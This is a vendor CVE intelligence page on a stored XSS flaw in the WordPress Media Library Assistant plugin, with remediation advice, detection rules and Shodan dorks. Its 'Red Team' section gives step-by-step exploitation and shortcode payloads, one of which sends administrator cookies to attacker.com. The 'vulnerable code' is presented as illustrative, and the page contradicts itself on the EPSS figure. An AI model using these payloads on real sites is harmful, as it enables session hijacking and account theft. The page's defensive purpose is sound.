☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2475

CVE-2024-2475 Cross-Site Scripting in Media library assistant
📅 PUBLISHED: 2024-03-29 04:31 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2475 is a Stored Cross-Site Scripting (XSS) vulnerability in the Media Library Assistant plugin for WordPress, affecting all versions up to and including 3.13. The flaw resides in the plugin's shortcodes, where user-supplied attributes are insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it allows lower-privileged users (contributors) to escalate their impact. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of proof-of-concept code increases risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the plugin author. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor)
  • User Interaction: Required (Victim visits page)
  • Scope: Changed (Impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for contributors to inject persistent XSS makes this a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The Media Library Assistant plugin provides shortcodes like [mla_gallery] to display media items. The vulnerability occurs because the plugin does not properly sanitize or escape user-supplied attributes passed to these shortcodes. An attacker with contributor-level access can create a post or page containing a malicious shortcode, such as:

[mla_gallery attachment_category="<script>alert('XSS')</script>"]

When the shortcode is processed, the unsanitized attribute value is rendered directly into the HTML output without proper escaping. This allows the attacker's JavaScript to execute in the context of the victim's browser.

The root cause is insufficient input validation and output escaping on shortcode attributes. The plugin likely uses add_shortcode() and processes attributes via shortcode_atts(), but fails to escape the values before outputting them.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.13):

// In the shortcode handler function
function mla_gallery_shortcode($atts) {
    $atts = shortcode_atts(array(
        'attachment_category' => '',
    ), $atts);
    
    // Directly outputting the attribute without escaping
    $output = '<div class="mla-gallery" data-category="' . $atts['attachment_category'] . '">';
    // ... rest of the code
    return $output;
}

Patched Code (Hypothetical):

function mla_gallery_shortcode($atts) {
    $atts = shortcode_atts(array(
        'attachment_category' => '',
    ), $atts);
    
    // Escape the attribute value before output
    $output = '<div class="mla-gallery" data-category="' . esc_attr($atts['attachment_category']) . '">';
    // ... rest of the code
    return $output;
}

The fix involves using esc_attr() or wp_kses() to sanitize and escape user-supplied attributes before rendering them in HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Media Library Assistant plugin <= 3.13
  • Contributor-level account or higher

Step-by-Step Exploitation:

  1. Log in as a contributor.
  2. Create a new post or page.
  3. Insert a malicious shortcode in the content editor:
    [mla_gallery attachment_category="<img src=x onerror=alert(document.cookie)>"]
    
  4. Publish the post.
  5. Wait for an administrator to view the post. The JavaScript executes, stealing cookies or performing actions on behalf of the admin.

Advanced Payload (Session Hijacking):

[mla_gallery attachment_category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts/pages containing suspicious shortcode attributes (e.g., <script>, onerror, onload).
  • Use Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.
  • Review user activity logs for contributors creating posts with unusual shortcode usage.

Prevention:

  • Update the plugin to a patched version (once available).
  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/media-library-assistant/includes/class-mla-shortcodes.php (vulnerable file)
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
  • Logs: WordPress debug log entries showing shortcode processing errors
  • Database: Posts/pages containing shortcode attributes with JavaScript payloads

Detection Engineering

YARA Rule

rule CVE_2024_2475_Media_Library_Assistant_XSS {
    meta:
        description = "Detects malicious shortcode attributes exploiting CVE-2024-2475"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2475"
    strings:
        $shortcode = /\[mla_gallery[^\]]*?(<script|<img|<svg|<iframe|onerror|onload|onclick)/i
        $payload = /(alert|prompt|confirm|document\.cookie|fetch|XMLHttpRequest)/i
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-2475 - Stored XSS via Media Library Assistant Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via malicious shortcode attributes in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "mla_gallery"
        http.request_body|contains:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2475 - Stored XSS via Media Library Assistant Shortcode"; flow:to_server,established; content:"mla_gallery"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Media Library Assistant plugin until a patch is available.
  2. Review all posts/pages created by contributors for malicious shortcodes.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Long-term Fix:

  • Apply the official patch from the plugin vendor once released.
  • Upgrade to a patched version (e.g., 3.14 or later).
  • Enforce the principle of least privilege: limit contributor-level access.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this vulnerability.
  • Manually edit the plugin file to add esc_attr() to shortcode attribute outputs (not recommended for non-developers).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Media Library Assistant"
http.html:"mla_gallery"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2475/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.